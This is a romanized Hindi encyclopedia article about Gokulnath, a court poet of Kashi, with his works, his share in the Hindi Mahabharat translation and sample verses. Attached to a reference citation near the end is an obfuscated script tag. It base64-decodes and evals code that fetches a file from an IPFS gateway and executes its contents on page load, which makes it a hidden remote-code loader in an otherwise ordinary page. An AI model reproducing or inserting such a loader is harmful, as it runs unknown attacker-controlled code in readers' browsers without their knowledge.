गोकुलनाथ

ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- gokulanath (bahuvikalpi)

gokulanath kashi (vartaman banaras) ke darabari kavi the. ye maharaj chetasianh aur udit narayan sianh ke prasiddh darabari kavi the. inaki pramukh rachanaoan mean- 'chetasianh chandrika', 'radhakrishna vilas', 'radhanakhashikh', 'mahabharat darpan' adi pramukh hai. ‘mahabharat darpan' qarib 54 varshoan bad san 1884 mean inake shishy 'manidev' tatha putr 'gopinath' ke sahayog se likhi gee thi.^[1]

parichay

gokulanath aur gopinath prasiddh kavi raghunath bandijan ke kramash: putr aur pautr the. gokulanath, gopinath aur manidev, in tinoan mahanubhavoan ne milakar hindi sahity mean b da bhari kam kiya hai. inhoanne samagr 'mahabharat' aur 'harivansh'^[2] ka anuvad atyant manohar vividha chhandoan mean poorn kavitt ke sath kiya hai. inaki bhasha praanjal aur suvyavasthit hai.

inaki rachanaoan mean anupras ka adhik agrah n hone par bhi avashyak vidhan hai. rachana sab prakar se sahityik aur manohar hai aur lekhakoan ki kavy kushalata ka parichay deti hai. 'mahabharat' aur 'harivansh' ke parishisht granth banane mean bhi pachas varsh se oopar lage haian. anumanat: isaka aranbh sanvath 1830 mean ho chuka tha aur sanvath 1884 mean jakar samapt hua hai. isaki rachana kashi naresh maharaj udit narayan sianh ki ajna se huee, jinhoanne isake lie lakhoan rupaye vyay kie the. is b de bhari sahityik yajn ke anushthan ke lie hindi premi ukt maharaj ke sada kritajn raheange.

any granth

gokulanath ne 'mahabharat' ke atirikt nimnalikhit aur bhi granth likhe haian-

chetasianh chandrika
goviand sukhadavihar
radhakrishna vilas, (sanvath 1858)
radhanakhashikh
namaratnamala (kosh) (sanvath 1870)
sitaram gunarnav
amarakosh bhasha (sanvath 1870)
kavimukhamandan

chetasianh chandrika - yah alankar ka granth hai, jisamean kashiraj ki vanshavali bhi di gee hai.

radhakrishna vilas - yah ras sanbandhi granth hai aur 'jagatavinod' ke barabar hai.

sitaram gunarnav - yah 'adhyatm ramayan' ka anuvad hai, jisamean poori ramakatha varnit hai.

kavimukhamandan - yah bhi alankar sanbandhi granth hai.

nipun kavi

gokulanath ka kavita kal sanvath 1840 se 1870 tak mana ja sakata hai. granthoan ki soochi se yah spasht hai ki ye kitane nipun kavi the. riti aur prabandh donoan or inhoanne prachur rachana ki hai. itane adhik pariman mean aur itane prakar ki rachana vahi kar sakata hai, jo poorn sahity marmajn, kavy kala mean siddh hast aur bhasha par poorn adhikar rakhane vala ho. at: mahabharat ke tinoan anuvadakoan mean to ye shreshth hi haian, sahity ke kshetr mean bhi ye bahut ooanche pad ke adhikari haian. riti granth rachana aur prabandh rachana donoan mean saman roop se kushal aur doosara koee kavi riti kal ke bhitar nahian paya jata.

anuvad

'mahabharat' ke jis-jis aansh ka anuvad jinhoanne kiya hai, us-us aansh mean usaka nam diya hua hai. niche tinoan kaviyoan ki rachana ke kuchh udaharan die ge haian- gokulanath

sakhin ke shruti mean ukuti kal kokilaki.
gurujan hoo pai puni laj ke kathan ki.
gokul arun charanaanbuj pai guanjapuanj
dhuni si chadhati chancharik charachan ki
pitam ke shravan samip hi juguti hoti
main mantr tantr soo baran gunagan ki.
sautin ke kanan mean halahal hvai halati,
eri sukhadani! tau bajani bichhuvan ki
(radhakrishna vilas)
durg atihi mahat rakshit bhatan soan chahuan or.
tahi gherayo shalv bhoopati sen lai ati ghor
ek manush nikasibe ki rahi katahuan n rah.
pari sena shalv nrip ki bhari juddh uchhah

lahi sudeshna ki suajna nich kichak jaun.
jay sianhini pas janbuk tatha kini gaun
lagyo krishnaa soan kahan ya bhaanti sasmit bain.
yahaan aee kahaan tean? tum kaun hau chhabi ain

nahian tum si lakhi bhoo par bhari sushama bam.
devi, jachchhini, kinnari, kai shri, sachi abhiram.
kaanti soan ati bhari tumharo lakhan badan anoop.
karaigo nahian svabas kako maha manmath bhoop
(mahabharat)

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ kashi katha, sahityakar (hindi). . abhigaman tithi: 10 janavari, 2014.
↑ jo mahabharat ka hi parishisht mana jata hai

achary, ramachandr shukl “prakaran 3”, hindi sahity ka itihas (hindi). bharatadiskavari pustakalay: kamal prakashan, nee dilli, prishth san. 253.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] shi katha, sahityakar (hindi). . abhigaman tithi: 10 janavari, 2014.

[2] rat ka hi parishisht mana jata hai

[1]

[2]